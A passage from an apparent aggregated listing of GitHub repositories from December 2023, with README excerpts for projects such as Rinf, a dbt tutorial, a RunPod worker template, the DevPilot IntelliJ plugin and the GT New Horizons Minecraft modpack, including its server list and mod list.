Make your changes and ensure they adhere to the project's coding standards.
Write unit tests for any new functionality or changes.
Submit a pull request, describing your changes and the problem they solve.
Your pull request will be reviewed, and feedback or changes may be requested.

Please note that all contributions are subject to the project's code of conduct.

License

CropSync is released under the MIT License. You are free to use, modify, and distribute the code as per the terms of the license.

edurekacontent/dockerContent

2023-12-12T01:47:01Z

timthelion/fchad-study

2023-12-13T01:29:17Z

Study on learning curves of fchad based devices

cunarist/rinf

2023-12-12T01:47:30Z

Rust for native business logic, Flutter for flexible and beautiful GUI

Rinf: Rust in Flutter

Rust for native business logic, Flutter for flexible and beautiful GUI

Rinf is a production-ready framework for creating beautiful and performant cross-platform apps using Flutter and Rust with batteries fully included. Simply add this framework to your app project, and you're all set to write Flutter and Rust together!

🎮 Demo

Visit the demo running on the web to experience the smoothness and delightfulness that comes from the combination of Flutter and Rust. You can also dive into the example code.

🖥️ Platform Support

All platforms available with Flutter are tested and supported. Challenging build settings are automatically handled by this framework.

✅ Linux: Tested and supported
✅ Android: Tested and supported
✅ Windows: Tested and supported
✅ macOS: Tested and supported
✅ iOS: Tested and supported
✅ Web: Tested and supported

🎁 Benefits

Truly easy: It only takes about about a minute or two to fully setup your app. No other solution provides this level of convenience.
Efficient: All communication occurs solely through native FFI. There are no webviews, web servers, hidden threads, or unnecessary memory copying that might cause performance overhead. This setup acts as a very thin wrapper around Dart and Rust.
Minimal: This is not a bulky framework that requires you to install so many dependencies and use complicated CLI commands. Just focus on your code using your preferred Flutter and Rust libraries.
Scalable: Creating hundreds or even thousands of message APIs between Dart and Rust feels smooth and clean. Additionally, you have the flexibility to utilize any number of Rust library crates, perhaps including those you might have been working on.
High-level interface: No messing with sensitive build files, no concerns about memory safety. Stay with Dart and Rust that you're familiar with.
Low-level control: Though the hard things are kept beneath the surface, you are free to modify the underlying logic such as concurrency or debugging features. There is no hidden mechanism that prevents your understanding.
Well maintained: Our automated workflows including build tests are always kept passing, thanks to the main branch protection rule. Also, the number of external dependencies is kept as low as possible and documentations are thoughtfully organized.
Async interaction: Rust operations will never block Flutter's main thread because they are spawned in a separate thread pool.
Convenient debugging: All the debugging functionalities are provided by default, without the need for dealing with browsers or mobile emulators. Also, the whole Rust logic is automatically restarted on Dart's hot restart.
Reliable: This framework serves as a direct link between Dart and Rust without complex code generation mechanisms. Each component is supported by huge communities, ensuring a strong emphasis on safety. You can easily assure your team of stability since this framework's underlying concept is fairly simple.

🐦 Why Use Flutter?

While Rust is a powerful language for high-performance native programming, its ecosystem for building graphical user interfaces is far from being mature. Though Rust already has some GUI frameworks, they don't compete with extensive support and smooth development experience that Flutter provides. It's only Flutter that compiles to all 6 major platforms from a single codebase.

Flutter is a powerful and versatile framework that has gained immense popularity for building cross-platform applications with stunning user interfaces. It provides declarative pattern, beautiful widgets, hot reload, convenient debugging tools, and dedicated packages for user interfaces right out-of-the-box.

🦀 Why Use Rust?

While Dart excels as an amazing object-oriented language for GUI apps, its non-native garbage collection may not always meet demanding performance requirements, and it may lack advanced data manipulation packages. This is where Rust steps in, offering an incredible speed advantage of roughly 2~40 times faster than Dart, alongside the ability to leverage multiple threads and various crates that get the job done.

Rust has garnered a devoted following, being the most loved programming language on Stack Overflow. Its native performance, thanks to the zero-cost abstraction philosophy, ensures high productivity. Many developers foresee Rust potentially replacing C++ in the future. Rust's simplicity, memory safety, superior performance in various scenarios, vibrant community, and robust tooling support contribute to its growing popularity.

📖 Documentation

Check out the documentation for everything you need to know about how to use this thing.

👥 Contribution

If Rinf has been helpful, please consider giving a star to our GitHub repository and a like to our Pub package. You can also support us by spreading the word and sharing this framework online.

We appreciate your contribution to the development of this project! We're always open to discussions and pull requests, so please do not hesitate to leave your ideas or opinions at our GitHub repository.

josephmachado/simple_dbt_project

2023-12-12T01:47:50Z

Code for dbt tutorial

This is the code repo for dbt tutorial at https://www.startdataengineering.com/post/dbt-data-build-tool-tutorial

Setup

Prerequisites

Clone the git repo and start the warehouse & dbt docker containers, as shown below.

git clone https://github.com/josephmachado/simple_dbt_project.git
cd simple_dbt_project
make up
make sh

We use make sh to log into the dbt docker container, & run dbt commands.

Run dbt

Once you are inside the dbt docker container, run the following commands.

cd $WORKDIR # go to the directory where we have dbt code
dbt deps
dbt snapshot
dbt run --select sde_dbt_tutorial
dbt test
dbt docs generate
dbt docs serve

Go to http://localhost:8080 to see the dbt documentation (press ctrl+c).

[Optional] We can create a data observability report with Elemetary as shown below:

dbt run --select elementary
edr report

From your file system, open the html file at the path sde_dbt_tutorial/edr_target/elementary_report.html on your broswer to see the data observability report.

You can exit the dbt container using exit.

Let's do some testing, Insert some data into source customer table, to demonstrate dbt snapshots. From your terminal (after exiting dbt container) run the following command.

make warehouse

You will be logged into your warehouse, here use the below command:

COPY warehouse.customers(customer_id, zipcode, city, state_code, datetime_created, datetime_updated) FROM '/input_data/customer_new.csv' DELIMITER ',' CSV HEADER;
\q

Run snapshot and create models again.

make sh
cd $WORKDIR # go to the directory where we have dbt code
dbt snapshot --select sde_dbt_tutorial
dbt run --select sde_dbt_tutorial

You can exit the dbt container using exit. From your terminal (after exiting dbt container) run the following command.

make warehouse

select * from warehouse.customer_orders limit 3;
\q

Stop docker container

make down

keep-network/bitcoind-docker

2023-12-12T01:47:50Z

Bitcoin Core Full Node

This is Dockerfile for Bitcoin Core full node application (bitcoind).

Bitcoin

RPC API: https://developer.bitcoin.org/reference/rpc/

Docker

Dockerfile is based on:

List of Bitcoin node versions

https://bitcoincore.org/bin/

Docker Registry

We are using Docker Hub for storing images.

https://hub.docker.com/r/keepnetwork/bitcoind

runpod-workers/worker-template

2023-12-12T01:47:50Z

🚀 | A simple worker that can be used as a starting point to build your own custom RunPod Endpoint API worker.

Template | Worker

🚀 | A simple worker that can be used as a starting point to build your own custom RunPod Endpoint API worker.

📖 | Getting Started

Clone this repository.
(Optional) Add DockerHub credentials to GitHub Secrets.
Add your code to the src directory.
Update the handler.py file to load models and process requests.
Add any dependencies to the requirements.txt file.
Add any other build time scripts to thebuilder directory, for example, downloading models.
Update the Dockerfile to include any additional dependencies.

⚙️ | CI/CD (GitHub Actions)

As a reference this repository provides example CI/CD workflows to help you test your worker and build a docker image. The three main workflows are:

CI-test_handler.yml - Tests the handler using the input provided by the --test_input argument when calling the file containing your handler.

Test Handler

This workflow will validate that your handler works as expected. You may need to add some dependency installations to the CI-test_handler.yml file to ensure your handler can be tested.

The action expects the following arguments to be available:

vars.RUNNER_24GB | The endpoint ID on RunPod for a 24GB runner.
secrets.RUNPOD_API_KEY | Your RunPod API key.
secrets.GH_PAT | Your GitHub Personal Access Token.
vars.GH_ORG | The GitHub organization that owns the repository, this is where the runner will be added to.

Test End-to-End

This repository is setup to automatically build and push a docker image to the GitHub Container Registry. You will need to add the following to the GitHub Secrets for this repository to enable this functionality:

DOCKERHUB_USERNAME | Your DockerHub username for logging in.
DOCKERHUB_TOKEN | Your DockerHub token for logging in.

Additionally, the following need to be added as GitHub actions variables:

DOCKERHUB_REPO | The name of the repository you want to push to.
DOCKERHUB_IMG | The name of the image you want to push to.

The CD-docker_dev.yml file will build the image and push it to the dev tag, while the CD-docker_release.yml file will build the image on releases and tag it with the release version.

The CI-test_worker.yml file will test the worker using the input provided by the --test_input argument when calling the file containing your handler. Be sure to update this workflow to install any dependencies you need to run your tests.

Example Input

{
    "input": {
        "name": "John Doe"
    }
}

💡 | Best Practices

System dependency installation, model caching, and other shell tasks should be added to the builder/setup.sh this will allow you to easily setup your Dockerfile as well as run CI/CD tasks.

Models should be part of your docker image, this can be accomplished by either copying them into the image or downloading them during the build process.

If using the input validation utility from the runpod python package, create a schemas python file where you can define the schemas, then import that file into your handler.py file.

🔗 | Links

🐳 Docker Container

input-output-hk/hermes

2023-12-13T01:30:33Z

🏛️ Hermes is a high-availability blockchain voting database that acts as a distributed storage and event processor for voting events, proposals, and actions.

benhorl/group02

2023-12-12T01:48:38Z

rat9615/simple-nodejs-app

2023-12-13T01:30:49Z

JacobLudwigson/Group-Project-16-06

2023-12-13T01:30:49Z

UkioInc/tech_test

2023-12-12T01:48:41Z

mirego/absinthe_security

2023-12-12T01:48:41Z

AbsintheSecurity provides utilities to improve the security posture of APIs built with Absinthe GraphQL.

rainstormstudio/treemacs-nerd-icons

2023-12-12T01:48:49Z

#+TITLE: treemacs-nerd-icons #+AUTHOR: Hongyu Ding

[[https://melpa.org/#/treemacs-nerd-icons][file:https://melpa.org/packages/treemacs-nerd-icons-badge.svg]]

[[https://github.com/rainstormstudio/nerd-icons.el][nerd-icons]] theme for treemacs. It is inspired by [[https://github.com/Alexander-Miller/treemacs/blob/master/src/extra/treemacs-all-the-icons.el][treemacs-all-the-icons]], [[https://github.com/ryanoasis/vim-devicons][vim-devicons]] and [[https://github.com/nvim-tree/nvim-web-devicons][nvim-web-devicons]]. It can be used inside GUI or terminal.

[[file:screenshots/demo.png]]

Prerequisite You need a Nerd Font installed, and set your terminal font as a Nerd Font if you want terminal icons working.

You should include [[https://github.com/rainstormstudio/nerd-icons.el][nerd-icons]] before using this package.

Installation with ~~use-package~~ #+BEGIN_SRC elisp (use-package treemacs-nerd-icons :config (treemacs-load-theme "nerd-icons")) #+END_SRC

You can also download the ~~treemacs-nerd-icons.el~~ file and load it to the path, then simply #+BEGIN_SRC elisp (require 'treemacs-nerd-icons) (treemacs-load-theme "nerd-icons") #+END_SRC

redink/tcpserver

2023-12-13T01:31:18Z

tcpserver is a TCP Server based on ranch

TWRogers/MSciThesis

2023-12-12T01:49:33Z

lukky-nl/custom_post_processing_effects_godot_4.2

2023-12-12T01:49:50Z

A group submission to the Godot Wild Jam 64! We hope you find some cool features in our code and use them in yours!

wiris/moodle-tiny_wiris

2023-12-12T01:50:02Z

chaseSpace/k8s-tutorial-cn

2023-12-12T01:50:17Z

Kubernetes 使用教程

主要内容

其他链接

资料索引

最佳实践

对于英文文章，你可以使用网页翻译插件（如欧路翻译、沉浸式翻译等）来提高阅读效率。

PDF&报告

License

本仓库中的K8s教程均在 CC-BY-NC-SA 4.0 下发布（转载请注明作者及来源）。

Star History

wavetermdev/waveterm

2023-12-12T01:50:17Z

An open-source, cross-platform terminal for seamless workflows

Wave Terminal

A open-source, cross-platform, modern terminal for seamless workflows.

Wave isn't just another terminal emulator; it's a rethink on how terminals are built. Wave combines command line with the power of the open web to help veteran CLI users and new developers alike.

Inline renderers to cut down on context switching. Render code, images, markdown, and CSV files without ever leaving the terminal.
Persistent sessions that can restore state across network disconnections and reboots
Searchable contextual command history across all remote sessions (saved locally)
Workspaces, tabs, and command blocks to keep you organized

Installation

Wave Terminal works with MacOS and Linux (preliminary).

Install Wave Terminal from: www.waveterm.dev/download

Also available as a homebrew cask for MacOS:

brew install --cask wave

Building from Source

Contributing

Wave uses Github Project for tracking issues.

Find more information in our Contributions Guide, which includes:

ram-repo/jenkins-workshop

2023-12-13T01:33:22Z

WL2O2O/JavaU8G

2023-12-13T01:33:28Z

Java unique 8 gu——这些年我们为了面试背的八股文

belyaev-mikhail/hs-poly-test-repo

2023-12-13T01:33:35Z

Репозиторий с заданиями по курсу функционального программирования.

Запуск

$ stack test

Запуск интерпретатора с модулями репозитория

$ stack ghci --test

jgm/commonmark-hs

2023-12-13T01:33:35Z

Pure Haskell commonmark parsing library, designed to be flexible and extensible

commonmark

This repository contains four packages:

commonmark: a pure Haskell library for parsing commonmark, designed for flexibility and extensibility.
commonmark-pandoc: type instances for parsing commonmark as a Pandoc AST.
commonmark-extensions: a set of useful extensions to core commonmark syntax.
commonmark-cli: a command-line program that uses this library to convert and syntax-highlight commonmark documents.

See the commonmark README for a more detailed description of the project's goals.

Aj7Ay/k8s-mario

2023-12-12T01:50:59Z

Azure/terraform-azurerm-avm-ptn-vnetgateway

2023-12-12T01:50:59Z

AVM Terraform Pattern Module for Virtual Network Gateway

tiller-tolbus/token

2023-12-12T01:51:01Z

An Urbit-native L1 blockchain that implements a cryptocurrency $TOKEN

jenkins-infra/jenkins.io

2023-12-13T01:34:13Z

A static site for the Jenkins automation server

jenkins.io

This repository powers the Jenkins website. This uses Awestruct with Asciidoctor under the hood to provide a very useful and compelling web presence for the Jenkins automation server.

Contributing

If you’re interested in contributing to the site, please see our Contributing document

Documentation for Jenkins website maintenance is in the maintainers guidelines.

TencentARC/SmartEdit

2023-12-13T01:34:13Z

SmartEdit: Exploring Complex Instruction-based Image Editing with Multimodal Large Language Models

[Paper] [Project Page] [Demo]

We are currently organizing the code for SmartEdit may bring as soon as possible. If you are interested in our work, please star ⭐ our project.

SmartEdit Framework

SmartEdit on Understanding Scenarios

SmartEdit on Reasoning Scenarios

Citation

@article{huang2023smartedit,
  title={SmartEdit: Exploring Complex Instruction-based Image Editing with Multimodal Large Language Models},
  author={Yuzhou, Huang and Liangbin, Xie and Xintao, Wang and Ziyang, Yuan and Xiaodong, Cun and Yixiao, Ge and Jiantao, Zhou and Chao, Dong and Rui, Huang and Ruimao, Zhang and Ying, Shan},
  booktitle={arXiv preprint arxiv:2312.04461},
  year={2023}
}

openpilot-hub/devpilot-intellij

2023-12-12T01:51:41Z

Your new coding buddy, designed exclusively for IntelliJ IDEA.

Welcome to DevPilot: Your pair programming partner makes you a greater navigator

English | 中文

Take a Glimpse

Unleash the power of AI in your coding with DevPilot, your new coding buddy, designed exclusively for IntelliJ IDEA.

This innovative AI-based plugin is set to supercharge your development process.

Stellar Features

Intelligent Code Suggestions: Say goodbye to coding roadblocks! DevPilot dishes out real-time code suggestions as you type, understanding your context and serving up precise recommendations.
Proactive Bug Detection: Keep bugs at bay! DevPilot spots potential bugs and errors before they become a problem, offering smart solutions and alternatives for efficient, error-free code.
Code Refactoring: Level up your code! DevPilot helps optimize your code, providing insights on how to refactor and boost your code's structure and performance.
Unit Test Generation: Testing made easy! DevPilot can generate unit testing code for you, making sure your code not only works as expected but is also ready for any future changes.
Code Explanation: Don't just write code, understand it! DevPilot can explain unfamiliar code snippets, helping you grasp what's happening and learn faster.
Auto-Comments: Keep your code clear! DevPilot can automatically add comments to your code, ensuring it's easy to understand and maintain.

Prerequisites

You will need an OpenAI API key / Codellama API endpoint before you use this plugin.
For use of Codellama, see deploy Codellama into you local environment.

Installation

Currently, the plugin has version requirements for IntelliJ IDEA. The minimum required version is 2021.2, make sure you have the appropriate version installed before attempting to use the plugin.

There are three ways for installing plugins:

IDEA official marketplace - currently in the beta testing phase and not yet available on the market. It will be available on the market after the release of the official version.
Installation via compressed package - select "install from disk" in the plugin page settings, and then import the zip package. The download link for the compressed package is available in Release page.
Build from scratch
1. Clone this repository to your local machine. git clone https://github.com/openpilot-hub/devpilot-intellij.git
2. Run the following command to build the project.
  
  ./gradlew runIde
  
  If you are using windows, run the following command to build the project.
  
  gradlew.bat runIde

Configuration

After the successful installation of the plugin, you can find the configuration page of DevPilot in the Tools section of the IDEA settings page. open the settings with command+,,

then navigate to Tools ❯ DevPilot ❯ Service Configuration.

On the configuration page, you can switch the language of the plugin between multiple choices, as well as select different models and their addresses. The username will be displayed on the page during the conversation.

How to use

In the dialog box, you can ask any question and send it by pressing Enter or using the send button. DevPilot will then provide an answer and display it on the current page.

Select a block of code, then right-click on the "DevPilot" option on the context menu.You can choose from one of:

New DevPilot Chat
Generate Tests
Review Code
Generate Comments
Fix This
Performance Check
Explain This

For example, select the code, right-click ❯ DevPilot ❯ Fix This.

Then, the window will automatically open and provide relevant suggestions for fixes. You can modify the code based on the suggestions.

Plugin Functionality

DevPilot provides developers with rich capabilities to help them eliminate the tedious work of writing test cases and comments, write more efficient code, and troubleshoot code issues, among other things.

Chat with DevPilot

The plugin supports chat, the conversation page can be opened through the right-click menu or the entry on the right sidebar.

You can write questions in the dialogue box, send them by pressing enter or the send button, and OpenAI will provide answers and display them on the current page.

Generate test cases

Users can generate test cases through our plugin. Users can right-click on a selected method and click "Generate Tests".

Afterward, a window will automatically open and the window will return the relevant test cases. Users can directly copy the test or choose to insert or replace the relevant code at the cursor position. They can even create a new test class file.

Generate comments

Plugin supports the function of generating code comments. Users can right-click and select "Generate comments" after selecting a code block.

Afterward, the window will automatically open and return the relevant annotation results. The edited code will also automatically show the generated annotations and the original code in a diff format, allowing users to compare and accept the corresponding annotations.

Fix bugs

The plugin supports the ability to fix code. Users can right-click on "Fix This" after selecting a code block.

Afterward, the window will automatically open and provide relevant repair suggestions. Users can modify their code based on the suggestions.

Review code

The plugin supports the ability to review code. Users can right-click on the selected code block and click "Review Code".

Afterward, the window will automatically open and return the relevant review results. Users can edit their code logic based on the results.

Performance Check

The plugin supports performance checking of code. Users can right-click on the selected code block and choose "Performance Check".

Afterward, the window will automatically open and return the relevant performance test results. Additionally, the optimized code and the original code will be automatically compared using diff in the editor, allowing users to optimize their code based on the results.

Clear context

The overall capabilities of the plugin are context-dependent, but the context may be polluted, and OpenAI or other large models may have token limitations that result in errors when exceeded. Therefore, we provide the ability to clean up by clicking the clear button in the upper right corner of the window, which will clear the entire session.

Roadmap

At DevPilot, we are constantly working on expanding the capabilities of our AI-powered plugin to meet the evolving needs of our users. Our roadmap is a reflection of our commitment to continually improve and innovate.

Near-Term Goals : integration with local LLM

We weill soon support Codellama, an opensource LLM developed by Meta, into DevPilot. This will provide you with the ability to leverage the power of LLM directly in your local development environment, without sending any sensitive data to OpenAI.

With Codellama integration, users can expect:

More accurate and context-specific code suggestions, Codellama has a 100k context length, so the suggestions it provides will be based on a deeper understanding of the code's context. This will significantly reduce the time developers spend on figuring out the appropriate code to use.
With its fine-tuning on a large codebase, Codellama can outperform ChatGPT in certain cases.

Long-Term Goals: Model as a Service (MaaS) Support

Looking ahead, we plan to extend our capabilities further by supporting Model as a Service (MaaS). MaaS provides the ability for users to utilize AI models in a service-based manner, without the need for local deployment or maintenance. This feature will enable seamless access to the latest AI models without bearing the computational costs or complexities of managing these models locally.

By integrating MaaS into DevPilot, we aim to:

Access the latest OpenAI models without the hassle of setting up a OpenAI API key.
Provide a plug-and-play solution for accessing state-of-the-art AI models
Allow developers to leverage the latest AI advancements without the need for local resources.
Offer a scalable solution that can grow with your project's needs.

Contributing

See CONTRIBUTING.md for more information.

Ping Us

Got questions or suggestions, please contact us via email at pilot_group@zhongan.com.

GTNewHorizons/GT-New-Horizons-Modpack

2023-12-12T01:51:51Z

New Modpack with Gregtech, Thaumcraft and Witchery

GT New Horizons Mod Pack

Version 2.5.0-beta-1 is out 2023-12-09

What is GT New Horizons?

You are looking at a big progressive kitchensink pack for Minecraft 1.7.10 balanced around the mod GregTech.

Over 8 years of development (and still going) have formed a balance and refinement that only a handful of packs can keep up with. We are talking about thousands of recipe tweaks, a massive questbook with over 3000 quests, unique world generation, custom mods coded for the pack, custom Thaumonomicon pages, and many more. The main intentions of the pack are a long-lasting experience and tying mods together in a progressive fashion, making it feel more like a single game than a compilation of mods thrown together.

To reach this goal, GT New Horizons is using the tiers (basically ages of technology) from GregTech and allocates content of other mods to a fitting point within the progression.

Starting in the stone age you will barely be able to survive until you get your first steam machines and, eventually, reach electricity. Later on, you will have to visit other planets and dimensions to gather important resources and fight mighty bosses to channel their magical power.

If you are a fan of expert mode packs and want to take it to the next level, this pack will be your friend!

Our Discord server

Here is our Discord server in case you want to take a look at it:

Installing

To install the GTNH modpack, please follow the instructions on the page Installing and Migrating.
The installation files can be found at downloads.gtnewhorizons.com.
Do not download the mods separately from the Modlist below - it is provided for reference purposes.

Quotes

thcv - This pack is pushing my mental capacity
moronwmachinegun - Noooooooooooooooo! (after cleanroom explosion)
mitchej123 - it probably would have been a bit easier if I put the turbines closer, but it wouldn't look as cool
K1ngMX - problem is like in programming: each change in isolation makes sense, some time later you think "how could this all happen" lol
tsutaaja - If it's not too costly
DreamMasterXXL - Idiots! Do not upgrade your backpack with important stuff inside!
Chaotick - It's already quite the list of errands
LogicFalls - F--k this mod is complicated
Codewarrior0 - Blood, sweat, and tiers
Chewy - No more making any of this irritating s--t
moronwmachinegun - It's never enough
Mondfaust - this game wants so much stuff...
K1ngMX - GTNH is basically pain for win
Pao - RNGesus hates you.
LogicFalls - This modpack makes me unhappy. But it's the good kind of unhappy.
Elusive Ent - GTNH you never fail to frustrate, but i love you all the same
DoomSquirter - welcome to gregtech where we invented the fountain of youth by slowing down time to make you enjoy each millisecond even more.
moronwmachinegun - controller on the front, maintenance in the back? World's worst haircut - gregullet
Axiflare - I've jabbed my screwdriver and my fist into it every way I can think of.
Scribit - Useless coins that are actually useful.
StevensMelon - i really hate this pack why wont i stop playing it. wanT to go back to omifactory where everything was simpler 😭

What does this pack have to offer?

Technology

GregTech on its own comes with a huge tech tree using the EU system and the other technology-based mods will open up while you are progressing through the tiers.

The main cables of GregTech convert EU to RF so you don't have to worry about different energy systems and things feeling incompatible.

Complex processing lines, automation, a large variety in power generation and a lot of materials to work with create an environment with many possibilities that the player has to explore.

Crossbreeding plants, bees and crops with Forestry and IndustrialCraft2, setting up mob farms using EnderIO and Draconic Evolution, and general infrastructure improvements with Railcraft and Applied Energistics - it's all there, anything you want (and need!) if you enjoy the technical aspect of modded Minecraft.

Magic

GT New Horizons comes with a variety of powerful magic mods. Your main access will be through the Thauminomicon which is modified to also feature custom sections for Botania, Blood Magic, Witchery, and other important things besides having the usual content of Thaumcraft and its add-ons.

The Twilight Forest is the dimension linked to magic in this pack and you will have to explore and defeat the bosses to progress in magic. Later on, there is power generation with essentia and options to store it using your AE system connecting technology with magic.

Exploration

Using Realistic World Gen along with Biomes O' Plenty creates a beautiful terrain in the overworld.

Besides all the biomes and natural structures you can find there will be challenging Rogue-like Dungeons that come with decent loot and spawners you might want to use in creative ways.

In the early game, villages offer a nice resting spot while looking for the optimal base location. Later you will revisit the villages to trade for key items and scavenge for parts. Eventually, you may end up relocating villagers closer to you - or taking over a village yourself.

Put the mining back in Minecraft

GregTech spawns ore in large localized veins rather than small clusters of everything, rewarding long searches with a huge vein that can sustain your base's growth for a long time.

In most packs, nearly everything spawns in the overworld which is not the case in GT New Horizons, and you are encouraged to mine in other dimensions such as the Twilight Forest, the nether, the end and (later on) even on other planets to make your way to the endgame. Unlocking things by mining for materials on other planets will create that situation where Galacticraft all of a sudden becomes important to progress which feels really rewarding.

Survival

The first few days and nights will be rough, in fact, nights will stay rough for a while since hardcore darkness makes them pitch black without any light sources or potion effects, so you might want to get a bed quickly!

Food is a critical thing early game and you can't keep eating the same things because of Spice of Life. Better watch out for some gardens from Pam's Harvestcraft to get some variety into your nutrition!

Be prepared to face strong mobs that can cause death quickly if you play without any strategy.

Facing them with better gear will make life easier once you progress but until then light up your base - there are plenty of options available from Chisel, Project Red, Ztones and Floodlights.

Questing

GT New Horizons comes with over 3000 quests that will guide the player through the maze that modded Minecraft can be.

The texts will inform you what's required to progress so you don't have to watch tutorials or ask others as often. The questbook can even save you the time to type into NEI, just click the items displayed in the quest and it will display the recipe through NEI, quite handy, right?

Custom lootbags and the coin system make for unique and helpful rewards. And we all enjoy the gamble from time to time.

Is this a game for newbies?

Newbies to Minecraft? Definitely not. Newbies to modded Minecraft? Maybe. The questbook is a great introduction to the variety and type of mods available. With each mod, gated players must learn about the mod to make the most of it while waiting for the next mod to unlock.

Is this modpack for me?

Does the thought of earning that top-end gear over weeks or months appeal to you? The usual packs feel like they are over in 1 or 2 weeks since you get OP gear so quickly?

How about designing a chemical processing system to rival a real oil refinery, with multiple inputs creating dozens of outputs and intermediate products to finally make a bar of plastic, rubber, explosives or other top-end gear?

Does the sound of machinery processing ore via crushing, washing, centrifuging, smelting in a blast furnace, and cooling off in a vacuum freezer tickle your brain?

Then this is the pack for you.

Your pick is not ready.

Welcome home.

How to join a server

Go to the multiplayer menu and choose the server you would like to play on. If the server is whitelisted (check out the list below) you have to contact the staff on the linked website/discord first. For the official servers you can either apply directly on our website or type the "!apply" command on our discord (both linked below) to get further instructions on how to join!

EU Servers:

Official EU Server Public (whitelist)
http://www.gtnewhorizons.com/
delta.gtnewhorizons.com
epsilon.gtnewhorizons.com
eta.gtnewhorizons.com

Official EU Test Server(whitelist)
zeta.gtnewhorizons.com

Modded Minecraft Club Falkenstein, Germany (open)
https://www.moddedminecraft.club/
gtnh.moddedminecraft.club (Teleport enabled)
gtnh-im.moddedminecraft.club (Ironman, no teleport)

Craftersland Craftersland GTNH (EU-DE) gt.craftersland.net

MineYourMine
MineYourMine GTNH (EU) horizons.mineyourmind.net

Zephyrus
Zephyrus (NL) gtnh.zephyrus-mc.com

Arcturus Network Czech Republic (EU)
Discord: https://discord.gg/JCCY9NR
Wiki: http://wiki.arcturus-official.eu/
play.arcturus-official.eu

US/Canada Servers:

Prospercraft (greylist)
http://www.prospercraft.com/
newhorizonsold.prospercraft.com
newhorizons.prospercraft.com

StoneLegion
StoneLegion.com GTNH (Canada) mc.stonelegion.com

Earthquake
Earthquake GTNH (US West) aragil.ddns.net

Modded Minecraft Club(open)
(same server as above)
Modded Minecraft Club (Eu-Asia) gtnh.moddedminecraft.club
Modded Minecraft Club (Am+Aus) gtnh-na.moddedminecraft.club
MMC No TP (Eu+Asia2) gtnh-im.moddedminecraft.club
MMC No TP (Am+Aus2) gtnh-im-na.moddedminecraft.club

Stone Huts EU Server (whitelist)
IP: gtnh.stonehuts.net
http://stonehuts.net

German Server:

MyFTB Public (open)
https://myftb.de/
gtnewhorizons.myftb.de

Russian Servers:

Hitechmine.ru GTNG Server Russia
hitechmine.ru:25565

Zvezdolet New fresh Russian server Whitelisted
IP: gtnh.114-7.com

Official Links

MultiMC Downloads: http://downloads.gtnewhorizons.com/Multi_mc_downloads/
Technic Launcher Link: http://www.technicpack.net/modpack/mcnewhorizons.677387
Curse Link: https://minecraft.curseforge.com/projects/gt-new-horizons
Discord Link: https://discord.com/invite/gtnh
Forum Link: http://gtnewhorizons.com/
WIKI Link: https://gtnh.miraheze.org/wiki/Main_Page

Contributing

Want to contribute to GTNH? Join our Discord with the link above and read the development manual: https://gtnh.miraheze.org/wiki/Development.

Resource Realistic Sky GT New Horizons

A resource pack created by MajaProduction that needs Optifine installed, you can find it in your resource folder

Modlist - NewHorizons

Downloads can be found at http://downloads.gtnewhorizons.com - do not try to download and install using the links below, this is for reference.

Name	Version
Advanced Solar Panel For 1.7.10 (Unofficial)	1.7.10 Edition
AdventureBackpack2	1.0.16-GTNH
AE2FluidCraft-Rework	1.1.71-gtnh
ae2stuff	0.6.0-GTNH
AFSU	1.2.6-GTNH
AlchemyGrate	1.0.3-GTNH
Amazing-Trophies	1.1.2
amunra	0.5.0
AngerMod	0.6.3
AppleCore	3.2.12
Applied-Energistics-2-Unofficial	rv3-beta-291-GTNH
ArchitectureCraft	1.8.6
Aroma1997Core	1.0.2.16
AromaBackup	0.1.0.0
AsieLib	0.5.4
Automagy	0.28.2
Avaritia	1.46
Avaritiaddons	1.6.0-GTNH
bartworks	0.8.20
Battlegear2	1.3.0
Baubles	1.0.3
bdlib	1.9.8-GTNH
BeeBetterAtBees-GTNH	0.3.1-GTNH
BetterAchievements	0.1.3
BetterBuildersWands	0.10.1-GTNH
BetterCrashes	1.3.5-GTNH
BetterLoadingScreen	1.5.3-GTNH
BetterP2P	1.1.20
BetterQuesting	3.4.5-GTNH
BiblioCraft: BiblioWoods Biomes O'Plenty Edition	1.9
BiblioCraft: BiblioWoods Forestry Edition	1.7
BiblioCraft: BiblioWoods Natura Edition	1.5
BiblioCraft	1.11.7
Binnie	2.2.3
Biomes O' Plenty	2.1.0.2308
BlockLimiter	0.55
BlockRenderer6343	1.0.5
BloodArsenal	1.2.11
BloodMagic	1.4.3
Botania	1.10.3-GTNH
Botanic-horizons	1.0.19-GTNH
BrandonsCore	1.0.0.13-GTNH
BugTorch	1.2.12-GTNH
BuildCraft	7.1.37
BuildCraftCompat	7.1.16
BuildCraftOilTweak	1.0.4
CarpentersBlocks	3.4.1-GTNH
Catwalks-2	2.1.4-GTNH
Chisel	2.12.3-GTNH
ChiselTones	1.0.4-GTNH
CodeChickenCore	1.1.13
CodeChickenLib	1.1.10
CoFH Core	3.1.4-329
Compact Kinetic Generators	1.0
Computronics	1.7.1-GTNH
Controlling	2.0.1
CookingForBlockheads	1.2.16-GTNH
Craft-Presence	2.2.5
CraftTweaker	3.2.13
CreativeCore	1.3.31-GTNH
CropLoadCore	0.1.10
Crops-plus-plus	1.5.12
Custom-Main-Menu	1.10.3
Default-Configs	1.1.6
DefaultServerList	1.4.0
DefaultWorldGenerator	0.2
DetravScannerMod	1.7.2
Draconic-Evolution	1.2.1-GTNH
DummyCore	1.17.0
DuraDisplay	1.1.7
Electro-Magic-Tools	1.3.8
EnderCore	0.2.18
EnderIO	2.5.6
EnderStorage	1.4.12
EnderZoo	1.0.23
EnhancedLootBags	1.1.0
Eternal-Singularity	1.1.2
Extra Utilities	1.2.13a
FastCraft	1.25
FindIt	1.1.0
FloodLights	1.2.9
ForbiddenMagic	0.6.7-GTNH
ForestryMC	4.7.0
Forgelin	1.9.7-GTNH
ForgeMultipart	1.4.1
ForgeRelocation	0.0.3
ForgeRelocationFMP	0.0.4
Gadomancy	1.2.0
GalacticGregGT5	1.0.10
Galacticraft	3.0.74-GTNH
Galaxy-Space-GTNH	1.2.14-GTNH
gendustry	1.6.5.5-GTNH
GigaGramFab	0.3.8
GoodGenerator	0.7.14
Gravitation-Suite-Neo	1.0.20
Gravitation-Suite-old	2.0.3
GT5-Unofficial	5.09.44.106
GTNEIOrePlugin	1.1.3
GTNH-Intergalactic	1.2.7
GTNH-Lanthanides	0.11.8
GTNH-TC-Wands	1.3.1
GTNHLib	0.0.13
GTplusplus	1.10.45
Hardcore Darkness	1.7
Hardcore-Ender-Expansion	1.9.7-GTNH
harvestcraft	1.1.3-GTNH
Healer	1.2.1
HelpFixer	1.1.0
Hodgepodge	2.3.39
HoloInventory	2.3.2-GTNH
HungerOverhaul	1.0.4-GTNH
